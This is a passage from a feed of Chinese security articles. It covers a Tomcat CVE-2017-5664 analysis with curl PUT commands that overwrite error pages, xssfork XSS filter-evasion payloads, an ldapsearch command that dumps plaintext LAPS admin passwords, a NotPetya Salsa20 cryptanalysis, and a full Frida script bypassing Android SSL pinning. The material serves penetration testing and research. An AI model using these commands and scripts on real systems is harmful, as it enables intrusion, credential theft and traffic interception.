我前面的公众号文章讲过,JspServlet 的作用是处理jsp 与jspx 文件的请求,那么非jsp jspx 就是由 DefaultServlet 来处理的(其实有别的情况,但是因为这是个鸡肋,这里不讨论那么多了),这里我们就简单地认为静态文件会交由DefaultServlet 来处理吧。

2. DefaultServlet 可以处理 PUT 或 DELETE请求,前提要求是readOnly 为 false,然而默认值是 true。为了触发漏洞,需要在conf/web.xml 中 default servlet 的配置中添加如下配置:

<init-param> <param-name>readonly</param-name> <param-value>false</param-value> </init-param>

3. 在WEB 应用的 web.xml 中添加如下配置,可以为WEB 程序自定义404 错误页面:

<error-page> <error-code>404</error-code> <location>/404.html</location> </error-page>

当 DefaultServlet readOnly 为 false,我们就开启了DefaultServlet 处理 PUT 请求的功能,我们也就可以向目标上传文件。请求必须到达DefaultServlet 才能进行 PUT 操作,这也就是说我们能上传的文件的类型是受限制的,比如默认情况下我们是不能上传jsp 或者jspx 的。

比如如下命令:

curl-i-Taaa.jsphttp://localhost:8080/CVE-2017-5664/aaa.jsp

我们的本意是将 aaa.jsp PUT至目标服务器,保存为aaa.jsp。这里我们所用的路径是

http://localhost:8080/CVE-2017-5664/aaa.jsp

这个请求将会被 JspServlet 处理,而不是被DefaultServlet 处理。JspServlet 是不处理 PUT 请求的(可以理解成JspServlet 将所有请求都当成 GET 来处理了。),这也就是我们不能上传 jsp jspx 文件的原因。我们只能上传其它类型的文件,而这通常是静态文件。

比如在readOnly 为 false 的时候,我们可以通过如下命令上传aaa.txt

curl-i-Taaa.txthttp://localhost:8080/CVE-2017-5664/aaa.txt

因为以上请求会被 DefaultServlet 处理,所以PUT 操作会成功。

官方对于本次 CVE 的描述如下:

TheerrorpagemechanismoftheJavaServletSpecificationrequiresthat,whenanerroroccursandanerrorpageisconfiguredfortheerrorthatoccurred,theoriginalrequestandresponseareforwardedtotheerrorpage.ThismeansthattherequestispresentedtotheerrorpagewiththeoriginalHTTPmethod. Iftheerrorpageisastaticfile,expectedbehaviouristoservecontentofthefileasifprocessingaGETrequest,regardlessoftheactualHTTPmethod.Tomcat'sDefaultServletdidnotdothis.Dependingontheoriginalrequestthiscouldleadtounexpectedandundesirableresultsforstaticerrorpagesincluding,iftheDefaultServletisconfiguredtopermitwrites,thereplacementorremovalofthecustomerrorpage.

大意是:

Java Servlet 规范中要求,当访问的资源出现如 404 或 500 之类的错误,并且同时服务端配置了相应的错误页面时,原始请求应该被forward 到错误页面。

当错误页面是一个静态文件时,正确的做法应该是忽略掉原始请求的HTTP METHOD,直接像处理 GET 请求一样向客户端返回静态错误页面的内容。但是 Tomcat 的Default Servlet 却不是这么做的。如果 DefaultServlet 配置的readOnly 为 false,则一个恶意的请求有可能删除或者替换掉错误页面文件。

我这里直接说一下如何实现官方所说的 “replacement ofthe custom error page”。

curl-i-Taaa.jsphttp://localhost:8080/CVE-2017-5664/aaa.jsp

上面说了这条命令是无法上传aaa.jsp 的,因为请求被JspServlet 处理了。那么这里直接简单说一下 Tomcat 在收到这个PUT 请求后是怎么处理的,这里就不分析代码了。

这里假设服务器上是不存在 aaa.jsp 的。JspServlet收到这个请求后,发现不存在/aaa.jsp 对应的 JspServletWrapper,同时连/aaa.jsp 这个文件也不存在,此时应该向客户端返回 404。

但是因为我们在上面给应用配置了一个自定义了 404 页面:/404.html,所以原始请求被会 forward 到这个 /404.html 。因为/404.html 是静态文件,所以会由 DefaultServlet 来处理(这里是关键,也解释了为什么错误页面一定要是一个静态文件,因为只有静态文件的请求才会到DefaultServlet ),DefaultServlet 发现请求是一个 PUT 请求,所以直接利用从客户端传来的文件数据将/404.html 重写了。


实例

原始 404.html 如下:


【漏洞分析】Tomcat Security Constraint Bypass CVE-2017-5664 分析

访问一个不存在的 111.jsp,返回了 404.html 的内容:


【漏洞分析】Tomcat Security Constraint Bypass CVE-2017-5664 分析

现在直接 PUT 到一个不存在的 jsp 文件,这里还以111.jsp 为例子:


【漏洞分析】Tomcat Security Constraint Bypass CVE-2017-5664 分析

再去查看 404.html 的内容:


【漏洞分析】Tomcat Security Constraint Bypass CVE-2017-5664 分析

官方的补丁是让 DefaultServlet 重写了继承自父类的service 方法,当发现请求是是因为错误而转发过来的,则直接当成 GET 来处理:


【漏洞分析】Tomcat Security Constraint Bypass CVE-2017-5664 分析

总结

鸡肋,低危。


触发要求

需要 DefaultServlet readonly 值为 false,默认为true。

要求服务端配置了自定义的静态错误页面,而且客户端能够触发相应的错误来使请求被转发至错误页面。

修复方式

升级

如非必要,不要更改DefaultServlet readonly 的默认值

不要使用静态文件做为错误页面,可以使用 jsp 文件。

最后,360 企业安全集团招高级安全研究员,base 北京,15K-35K:

https://maimai.cn/job?webjid=HjXNduFX&srcu=Zmz2rWdE&src=app&from=timeline



【漏洞分析】Tomcat Security Constraint Bypass CVE-2017-5664 分析
【漏洞分析】Tomcat Security Constraint Bypass CVE-2017-5664 分析
本文转载自 n1nty
原文链接:https://mp.weixin.qq.com/s/AWXjwO03oxrL960l3WxyCQ

【知识】7月27日 - 每日安全知识热点

$
0
0
【知识】7月27日 - 每日安全知识热点

2017-07-27 10:44:32

阅读:931次
点赞(0)
收藏
来源: 安全客





【知识】7月27日 - 每日安全知识热点

作者:童话





【知识】7月27日 - 每日安全知识热点

热点概要:MSRC宣布windows漏洞悬赏计划、FLARE VM: FireEye发布分析Windows恶意软件的虚拟机、Tomcat Security Constraint Bypass CVE-2017-5664 分析、Empire without PowerShell.exe、Factorio远程代码执行漏洞分析


资讯类:

Microsoft发布新的漏洞悬赏计划最高赏金25万美元

http://thehackernews.com/2017/07/microsoft-bug-bounty-program.html


Adobe Flash将于2020年停止服务

http://bobao.360.cn/news/detail/4239.html


技术类:

分析VMware虚拟机逃逸补丁

https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-patch-of-a-virtual-machine-escape-on-vmware


WSSAT:Web服务安全评估工具

https://github.com/YalcinYolalan/WSSAT/

“EternalMiner” Copycats exploiting SambaCry for cryptocurrency mining

http://www.intezer.com/eternalminer-copycats/


Factorio远程代码执行漏洞分析

https://security.gerhardt.link/RCE-in-Factorio/


Proxy Re-Encryption Playground in python

https://hackernoon.com/proxy-re-encryption-playground-in-python-3bc66170b9bf


通过AI和Python生成密码

https://github.com/k3170makan/PyMLProjects/blob/master/passwords/README.md


MSRC宣布Windows漏洞悬赏计划

https://blogs.technet.microsoft.com/msrc/2017/07/26/announcing-the-windows-bounty-program/


Broadpwn:通过Broadcom Wi-Fi芯片中的Bug远程破坏Android和iOS系统

https://blog.exodusintel.com/2017/07/26/broadpwn/


Breaking open the MtGox case(part 1)

http://blog.wizsec.jp/2017/07/breaking-open-mtgox-1.html


通过 WebView 攻击 Android 应用

https://zhuanlan.zhihu.com/p/28107901


IaaS、PaaS、SaaS三者的比较

http://www.engineyard.com/blog/the-differences-between-iaas-paas-and-saas-and-when-to-use-each


安卓系统级病毒疫情月报(2017年 - 总第3期)

http://bobao.360.cn/news/detail/4241.html


黑盒vBulletin漏洞扫描器

https://securityonline.info/owasp-vbscan-black-box-vbulletin-vulnerability-scanner/


【病毒分析】Sorebrect勒索病毒分析报告

http://bobao.360.cn/learning/detail/4154.html


Windows Exploitation: Backdoor on the fly with bdfproxy

https://securityonline.info/windows-exploitation-backdoor-fly-bdfproxy/


Empire without PowerShell.exe(Empire:一款后渗透框架)

https://bneg.io/2017/07/26/empire-without-powershell-exe/


FLARE VM: FireEye发布分析Windows恶意软件的虚拟机

https://www.fireeye.com/blog/threat-research/2017/07/flare-vm-the-windows-malware.html


Tomcat Security Constraint Bypass CVE-2017-5664 分析

https://mp.weixin.qq.com/s/AWXjwO03oxrL960l3WxyCQ


SQLite手工注入Getshell技巧

http://fuping.site/2017/07/19/SQLite-Injection-Get-WebShell/




【知识】7月27日 - 每日安全知识热点
【知识】7月27日 - 每日安全知识热点
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4156.html

【安全工具】xssfork:一款XSS探测工具

$
0
0
【安全工具】xssfork:一款XSS探测工具

2017-07-27 14:06:22

阅读:546次
点赞(0)
收藏
来源: 安全客





【安全工具】xssfork:一款XSS探测工具

作者:bsmali4





【安全工具】xssfork:一款XSS探测工具

作者:bsmali4

Blog:http://www.codersec.net/

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


xssfork简介

xssfork作为sicklescan的一个功能模块,其开发主要目的是用于检测xss漏洞。

传统的xss探测工具,一般都是采用 payload in response的方式,即在发送一次带有payload的http请求后,通过检测响应包中payload的完整性来判断,这种方式缺陷,很多。

第一:不能准确地检测dom类xss

第二:用类似于requests之类的库不能真正的模拟浏览器

第三:网页js无法交互

怎么解决?如果能够用浏览器代替这个模块,去自动hook是最好的。所幸,我了解到phantomjs,当然现在google浏览器也支持headless模式,类似的,你也可以采用google浏览器去做检测。


原理

对于这类fuzz过程,基本都是预先准备好一些payload,然后加载执行。对于这类io型密集的扫描模型,后端使用多线程就比较适用,但是由于phantomjs你可以理解为一个无界面的浏览器,在加载的时候,其缺陷也比较明显,比较吃内存,用它来发包自然不像requests库轻量。


编码脚本

由于基础的payload模块,我收集了71个。


【安全工具】xssfork:一款XSS探测工具

基础pyaload会在现有的基础上,会添加上各种闭合的情况。


【安全工具】xssfork:一款XSS探测工具

除了这些基础的payload,xssfork还提供了几个编码脚本,查看脚本,可以看help


【安全工具】xssfork:一款XSS探测工具

现阶段提供了10进制,16进制,随机大小写,关键字叠加四个脚本。


10hex_encode

将 html 标签内部字符10进制化

<ahref=&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3a&#x61&#x6c&#x65&#x72&#x74&#x28&#x36&#x35&#x35&#x33&#x34&#x29&#x3b>aaa</a>
【安全工具】xssfork:一款XSS探测工具

其效果如下


【安全工具】xssfork:一款XSS探测工具

16hex_encode

将 html 标签内部字符16进制化

uppercase

随机大小写将 <script>alert(65534);</script> 转换成 <ScRIPt>alert(65534);</ScRIpT>

addkeywords

主要是应对过滤为 replace('keyword>s','') 的情况,<script>alert(65534);</script> 变成 <<script>script>alert(65534);</script>当然默认开启的是轻量模式,即只返回一个payload,开启重量模式,可以生成更加丰富的pyaload,效果如下

<script>alert(65534);</script> <script>alert(65534);</ScrIpt> <ScrIpt>alert(65534);</sCrIpt> <scRiPt>alert(65534);</script> <ScrIpt>alert(65534);</script>

演示

场景1.反射型xss



【安全工具】xssfork:一款XSS探测工具

场景2.大小写绕过


【安全工具】xssfork:一款XSS探测工具

【安全工具】xssfork:一款XSS探测工具

场景3.dom型xss



【安全工具】xssfork:一款XSS探测工具

【安全工具】xssfork:一款XSS探测工具

场景4.post类型


【安全工具】xssfork:一款XSS探测工具

场景5.需要验证cookie


【安全工具】xssfork:一款XSS探测工具

【安全工具】xssfork:一款XSS探测工具

【安全工具】xssfork:一款XSS探测工具

post类型

pythonxssfork.py-u"xx"-d"xx"

存储型

pythonxssfork.py-u"xx"-d"xxx"-D"输出位置"

带cookie

pythonxssfork.py-u"xx"-c"xx"

说明

开源只为分享,请勿将本脚本做任何商业性质的集成。开发的时候,有可能很多情况没有考虑到,如果你有更好的建议或者发现bug,可以联系我邮箱root@codersec.net ,xssfork.codersec.net网站还在建设中,github不要吝啬你的star。

开源地址 https://github.com/bsmali4/xssfork,记得不要吝啬你的star



【安全工具】xssfork:一款XSS探测工具
【安全工具】xssfork:一款XSS探测工具
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4155.html

【技术分享】如何使用ldapsearch来dump域中的LAPS密码

$
0
0
【技术分享】如何使用ldapsearch来dump域中的LAPS密码

2017-07-27 15:33:54

阅读:797次
点赞(0)
收藏
来源: room362.com





【技术分享】如何使用ldapsearch来dump域中的LAPS密码

作者:for_while





【技术分享】如何使用ldapsearch来dump域中的LAPS密码

译者:for_while

预估稿费:50 RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


前言

如果你曾经对使用LAPS的组织做过渗透测试,你应该知道在安全方面使用随机本地管理员密码(LAPS)是最佳的解决方案。


使用ldapsearch来dump域中的LAPS密码

LAPS将其信息存储在Active Directory中:

到期时间: ms-Mcs-AdmPwdExpirationTime: 131461867015760024

明文存储的密码:ms-Mcs-AdmPwd: %v!e#7S#{s})+y2yS#(

在LAPS首次出现时,Active Directory中的任何用户都可以读取它。不过Microsoft现在已经修复了这个漏洞,您现在必须拥有All extended rights对象的权限或Active Directory的完全控制权,才能执行此操作。

感谢Meatballs,提供了一个Metasploit模块:enum_laps.rb。但是,不幸的是,在渗透测试的过程中我们并不总能使用 Meterpreter 会话来运行该模块。不过使用ldapsearch(包含在ldapscripts Debian/Ubuntu 中的软件包中)也能实现和上述模块相同的查询。一下为一个运行示例:

ldapsearch-x-h192.168.80.10-D\ "helpdesk"-wASDqwe123-b"dc=sittingduck,dc=info"\ "(ms-MCS-AdmPwd=*)"ms-MCS-AdmPwd

下面解释下这条命令

让我们打破这个:

-x- 使用基本身份验证

-h 192.168.80.10- 连接到ldap的域控制器

-D "helpdesk" -w ASDqwe123-以helpdesk(用户名),ASDqwe123(密码)登录

-b "dc=sittingduck,dc=info"- 这将加载整个域的基本LDAP对象。

"(ms-MCS-AdmPwd=*)"- 过滤掉我不能查看ms-MCS-AdmPwd的值的对象。(如果你拥有查看该管理员密码的用户权限,则会显示该密码。)

ms-MCS-AdmPwd- 只显示ms-MCS-AdmPwd对象(默认情况下包含对象名称和DN,以便您知道它所属的主机)

命令执行示例:

$ldapsearch-x-h192.168.80.10-D"helpdesk"-wASDqwe123-b"dc=sittingduck,dc=info""(ms-MCS-AdmPwd=*)"ms-MCS-AdmPwd #extendedLDIF # #LDAPv3 #base<dc=sittingduck,dc=info>withscopesubtree #filter:(ms-MCS-AdmPwd=*) #requesting:ms-MCS-AdmPwd # #DC1,DomainControllers,sittingduck.info dn:CN=DC1,OU=DomainControllers,DC=sittingduck,DC=info ms-Mcs-AdmPwd:2F1i/++N0H+G]{Y&,F #SDCLIENT_DAWIN7,LabComputers,Lab,sittingduck.info dn:CN=SDCLIENT_DAWIN7,OU=LabComputers,OU=Lab,DC=sittingduck,DC=info ms-Mcs-AdmPwd:8CDR4,2UE8BA{zw2@RR #SD_WSUS_2012,LabComputers,Lab,sittingduck.info dn:CN=SD_WSUS_2012,OU=LabComputers,OU=Lab,DC=sittingduck,DC=info ms-Mcs-AdmPwd:+3!UY5@g9B.64RV2z/T #WIN-PM0ID6F0AHN,LabComputers,Lab,sittingduck.info dn:CN=WIN-PM0ID6F0AHN,OU=LabComputers,OU=Lab,DC=sittingduck,DC=info ms-Mcs-AdmPwd:%v!e#7S#{s})+y2yS#( #searchreference ref:ldap://research.sittingduck.info/DC=research,DC=sittingduck,DC=info #searchreference ref:ldap://ForestDnsZones.sittingduck.info/DC=ForestDnsZones,DC=sittingduck,D C=info #searchreference ref:ldap://DomainDnsZones.sittingduck.info/DC=DomainDnsZones,DC=sittingduck,D C=info #searchreference ref:ldap://sittingduck.info/CN=Configuration,DC=sittingduck,DC=info #searchresult search:2 result:0Success

现在,仅仅只有本地admin密码并不能确定LDPS就开启了,然而你还是可以执行一些后续的操作。


后记

你可以使用Kerberos进行身份验证(即:Golden/Silver 票据)

因为windows没有(据我所知)限制只能在域控上登录LDAP连接(可能在未来推出),使用一点编码技术可以让ntlmrelayxdump LAPS密码。



【技术分享】如何使用ldapsearch来dump域中的LAPS密码
【技术分享】如何使用ldapsearch来dump域中的LAPS密码
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://room362.com/post/2017/dump-laps-passwords-with-ldapsearch/

【病毒分析】NotPetya 勒索病毒Salsa20算法实现的缺陷分析

$
0
0
【病毒分析】NotPetya 勒索病毒Salsa20算法实现的缺陷分析

2017-07-27 20:16:06

阅读:647次
点赞(0)
收藏
来源: 安全客





【病毒分析】NotPetya 勒索病毒Salsa20算法实现的缺陷分析

作者:360CERT





【病毒分析】NotPetya 勒索病毒Salsa20算法实现的缺陷分析

作者:Shi Lei && pwd && K-one@360CERT


0x00 背景

2017年6月份,NotPetya勒索病毒试图通过The Shadow Brokers泄露出的“永恒之蓝”等漏洞再次攻击全球网络系统。目前,关于NotPetya的算法解密工作目前并没有明确的解密进展。

360CERT团队在对NotPetya病毒所自定义实现的Salsa20算法分析过程中,发现存在两处变化。其中一处明显降低了标准Salsa20算法的加密强度,在一定条件下可以对加密数据进行解密。


0x01 Salsa20的简单介绍

Salsa20的原理是产生一种伪随机的字节流。 这种字节流在很长(约2的70次方)范围内和真正的随机字节流无法区分。 这样做到了和一次一密密码本(OTP,One Time Pad)加密等价的效果。

伪随机数流的产生其实就是将64字节(512比特)的输入送入核心函数,然后得到512比特的输出的过程。 每次输入的字节包含密钥、初始向量和计数器。 这样,要产生长度是N字节的伪随机数流,只需要调用核心函数若干次,直到获取了足够长度(不少于N)的输出即可。

64字节的输入如下:


【病毒分析】NotPetya 勒索病毒Salsa20算法实现的缺陷分析

本文所讨论的差异就是上面64字节产生的不同,核心函数都是相同的。


0x02 差异一:常量不同

原算法的常量:

【病毒分析】NotPetya 勒索病毒Salsa20算法实现的缺陷分析

样本的常量:


【病毒分析】NotPetya 勒索病毒Salsa20算法实现的缺陷分析

【结论】对算法的强度没有影响


0x03 差异二:小端化函数不同

原算法s20_littleendian函数:

【病毒分析】NotPetya 勒索病毒Salsa20算法实现的缺陷分析

样本s20_littleendian函数:


【病毒分析】NotPetya 勒索病毒Salsa20算法实现的缺陷分析

【差异】样本中原本是想模拟原算法的操作,但因为要在MBR中运行,采用了WORD为单位的运算,shl ax 10h时就会把ax清零。这样导致的后果就是64字节的输入的高位WORD会被填充为0,相当于将原函数改为:


【病毒分析】NotPetya 勒索病毒Salsa20算法实现的缺陷分析

【效果】原先的64字节输入:

0xdeadbeef 0xdeadbeef……0xdeadbeef(一共16个0xdeadbeef)

经过s20_littleendian函数后:

0x0000beef 0x0000beef ……0x0000beef(一共16个0x0000beef)

【影响】进入核心函数后:


【病毒分析】NotPetya 勒索病毒Salsa20算法实现的缺陷分析

虽然输入的随机序列有一半为零,但是经过1轮异或移位的操作,随机序列已经不含零了。并且该算法要进行10轮这样的操作,所以得到的序列随机化程度还是很高。

进入核心函数前:


【病毒分析】NotPetya 勒索病毒Salsa20算法实现的缺陷分析

经过一轮异或移位操作后:


【病毒分析】NotPetya 勒索病毒Salsa20算法实现的缺陷分析

【结论】 64字节的输入经过小端化函数后会导致高位2个字节清零。这样的话,爆破该输入的规模就从2的256次方降为了2的128次方,约为10的38次方,所以直接爆破出密钥的可能性几乎没有。


0x04“修改版”Salsa20算法的缺陷攻击

NotPetya勒索病毒的修改版Salsa20算法造成的差异会导致每隔64K块出现重复的核心函数输入项,这将极大影响这种加密算法的安全性。对此,算法攻击者只要已知连续4MB明文,就能解密全部密文。另外若已知若干离散明文块,则可解密部分密文,也可能解密全部密文(已知部分分布合适的情况)。

相关证明如下:


【病毒分析】NotPetya 勒索病毒Salsa20算法实现的缺陷分析

0x05 与Petya中修改Salsa进行对比

Petya中修改的Salsa分析链接:

http://www.CodeSec.Net/vuls/101714.html

(1)秘钥空间不同

Petya中为了方便用户输入,字符必须从数字和大小写字母中选取,定义了54种有效字符:


【病毒分析】NotPetya 勒索病毒Salsa20算法实现的缺陷分析

来作为8位的原始秘钥,同时用低位为b与字符“z”对应ASCII(122)之和,高位为b*2来扩展成16字节的秘钥。其实只有8个秘钥需要破解,所以秘钥空间为:54^8。

NotPetya中,一共是32个字节,但是由于清零了一半,所以一共是16个字节需要破解,秘钥空间为2^128。

(2)输出数据不同

Petya中采用了2字节的WORD作为数据基本长度,在输出结果中字段从2字节扩展为4个字节,其高位WORD会被填充为0,在接下来的异或操作中,就会暴露出明文的特征。

NotPetya中在核心函数中保持着4个字节的基本长度,所以输出结果的高位不会被填充为零。可以正常加密。

综上两点区别,Petya可以被暴力破解,而NotPetya很难被暴力破解,Petya的具体破解代码:

https://github.com/leo-stone/hack-petya

这里的破解算法引用了第三方库,

https://github.com/handcraftsman/GeneticGo

https://github.com/willf/bitset


0x06 其他破解的可能性

(1)截断差分攻击

这种攻击是针对较少轮次的Salsa20,参考资料认为能攻击到8轮的Salsa20,样本进行了20轮,所以这种攻击实现的可能性小。

(2)滑动攻击


【病毒分析】NotPetya 勒索病毒Salsa20算法实现的缺陷分析

这使得破解Salsa20在理论上存在可能,参考文献里也给了具体的算法来计算。


0x07 参考文档

[1] www.CodeSec.Net/vuls/101714.html [2]穆昭薇. 流密码算法Salsa20的安全性研究[D].西安电子科技大学,2011.


【病毒分析】NotPetya 勒索病毒Salsa20算法实现的缺陷分析
【病毒分析】NotPetya 勒索病毒Salsa20算法实现的缺陷分析
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4160.html

【技术分享】使用Frida绕过Android SSL Re-Pinning

$
0
0
【技术分享】使用Frida绕过Android SSL Re-Pinning

2017-07-28 09:49:45

阅读:622次
点赞(0)
收藏
来源: techblog.mediaservice.net





【技术分享】使用Frida绕过Android SSL Re-Pinning

作者:for_while





【技术分享】使用Frida绕过Android SSL Re-Pinning

作者:for_while

预估稿费:40RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


Android SSL Re-Pinning

在Android应用中可以找到两种SSL Pinning的实现:自己实现的和官方推荐的。前者通常使用单个方法,执行所有证书检查(可能使用自定义库),返回一个布尔值来判断是否正常。这意味着我们可以通过识别进行判断的关键函数,然后hook它的返回值来轻松地绕过此方法。针对这种检测方法,可以使用类似以下的Frida javascript脚本:


【技术分享】使用Frida绕过Android SSL Re-Pinning

hook关键函数,使他永远返回True, 绕过检查。

不过当SSL Pinning是根据Android的官方文档实现时,事情变得更加艰难。不过现在还是有很多优秀的解决方案,比如定制的Android图像,底层框架,使socket.relaxsslcheck = yes等等。几乎每个尝试绕过SSL Pinning的方案都是基于操纵SSLContext。我们可以用Frida操纵SSLContext吗?我们想要的是一个通用的方法,我们想用Frida JavaScript脚本来实现这个目的。

这里的想法是根据官方文档的建议来实现的,所以我们将SSL Pinning Java代码移植到了Frida JavaScript。

它是这样工作的:

1. 从设备加载我们的 CA证书;

2. 创建包含我们信任的CA证书的KeyStore;

3. 创建一个TrustManager,使它信任我们的KeyStore中的CA证书。

当应用程序初始化其SSLContext时,我们会劫持SSLContext.init()方法,当它被调用时,我们使用我们之前准备的TrustManager , 把它设置为第二个参数。( SSLContext.init(KeyManager,TrustManager,SecuRandom) )。

这样我们就使应用程序信任我们的CA了。

【技术分享】使用Frida绕过Android SSL Re-Pinning

执行示例:
$adbpushburpca-cert-der.crt/data/local/tmp/cert-der.crt $adbshell"/data/local/tmp/frida-server&" $frida-U-fit.app.mobile-lfrida-android-repinning.js--no-pause […] [USB::SamsungGT-31337::['it.app.mobile']]-> [.]CertPinningBypass/Re-Pinning [+]LoadingourCA... [o]OurCAInfo:CN=PortSwiggerCA,OU=PortSwiggerCA,O=PortSwigger,L=PortSwigger,ST=PortSwigger,C=PortSwigger [+]CreatingaKeyStoreforourCA... [+]CreatingaTrustManagerthattruststheCAinourKeyStore... [+]OurTrustManagerisready... [+]HijackingSSLContextmethodsnow... [-]WaitingfortheapptoinvokeSSLContext.init()... [o]Appinvokedjavax.net.ssl.SSLContext.init... [+]SSLContextinitializedwithourcustomTrustManager! [o]Appinvokedjavax.net.ssl.SSLContext.init... [+]SSLContextinitializedwithourcustomTrustManager! [o]Appinvokedjavax.net.ssl.SSLContext.init... [+]SSLContextinitializedwithourcustomTrustManager! [o]Appinvokedjavax.net.ssl.SSLContext.init... [+]SSLContextinitializedwithourcustomTrustManager!

上述示例,应用程序调用了四次SSLContext.init,这意味着它验证了四个不同的证书(其中两个被第三方跟踪库使用)。

frida脚本: 在这里下载,或者这里

Frida&Android:https://www.frida.re/docs/android/

/* AndroidSSLRe-pinningfridascriptv0.2030417-pier $adbpushburpca-cert-der.crt/data/local/tmp/cert-der.crt $frida-U-fit.app.mobile-lfrida-android-repinning.js--no-pause https://techblog.mediaservice.net/2017/07/universal-android-ssl-pinning-bypass-with-frida/ */ setTimeout(function(){ Java.perform(function(){ console.log(""); console.log("[.]CertPinningBypass/Re-Pinning"); varCertificateFactory=Java.use("java.security.cert.CertificateFactory"); varFileInputStream=Java.use("java.io.FileInputStream"); varBufferedInputStream=Java.use("java.io.BufferedInputStream"); varX509Certificate=Java.use("java.security.cert.X509Certificate"); varKeyStore=Java.use("java.security.KeyStore"); varTrustManagerFactory=Java.use("javax.net.ssl.TrustManagerFactory"); varSSLContext=Java.use("javax.net.ssl.SSLContext"); //LoadCAsfromanInputStream console.log("[+]LoadingourCA...") cf=CertificateFactory.getInstance("X.509"); try{ varfileInputStream=FileInputStream.$new("/data/local/tmp/cert-der.crt"); } catch(err){ console.log("[o]"+err); } varbufferedInputStream=BufferedInputStream.$new(fileInputStream); varca=cf.generateCertificate(bufferedInputStream); bufferedInputStream.close(); varcertInfo=Java.cast(ca,X509Certificate); console.log("[o]OurCAInfo:"+certInfo.getSubjectDN()); //CreateaKeyStorecontainingourtrustedCAs console.log("[+]CreatingaKeyStoreforourCA..."); varkeyStoreType=KeyStore.getDefaultType(); varkeyStore=KeyStore.getInstance(keyStoreType); keyStore.load(null,null); keyStore.setCertificateEntry("ca",ca); //CreateaTrustManagerthattruststheCAsinourKeyStore console.log("[+]CreatingaTrustManagerthattruststheCAinourKeyStore..."); vartmfAlgorithm=TrustManagerFactory.getDefaultAlgorithm(); vartmf=TrustManagerFactory.getInstance(tmfAlgorithm); tmf.init(keyStore); console.log("[+]OurTrustManagerisready..."); console.log("[+]HijackingSSLContextmethodsnow...") console.log("[-]WaitingfortheapptoinvokeSSLContext.init()...") SSLContext.init.overload("[Ljavax.net.ssl.KeyManager;","[Ljavax.net.ssl.TrustManager;","java.security.SecureRandom").implementation=function(a,b,c){ console.log("[o]Appinvokedjavax.net.ssl.SSLContext.init..."); SSLContext.init.overload("[Ljavax.net.ssl.KeyManager;","[Ljavax.net.ssl.TrustManager;","java.security.SecureRandom").call(this,a,tmf.getTrustManagers(),c); console.log("[+]SSLContextinitializedwithourcustomTrustManager!"); } }); },0);


【技术分享】使用Frida绕过Android SSL Re-Pinning
【技术分享】使用Frida绕过Android SSL Re-Pinning
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://techblog.mediaservice.net/2017/07/universal-android-ssl-pinning-bypass-with-frida/
Viewing all 12749 articles
Browse latest View live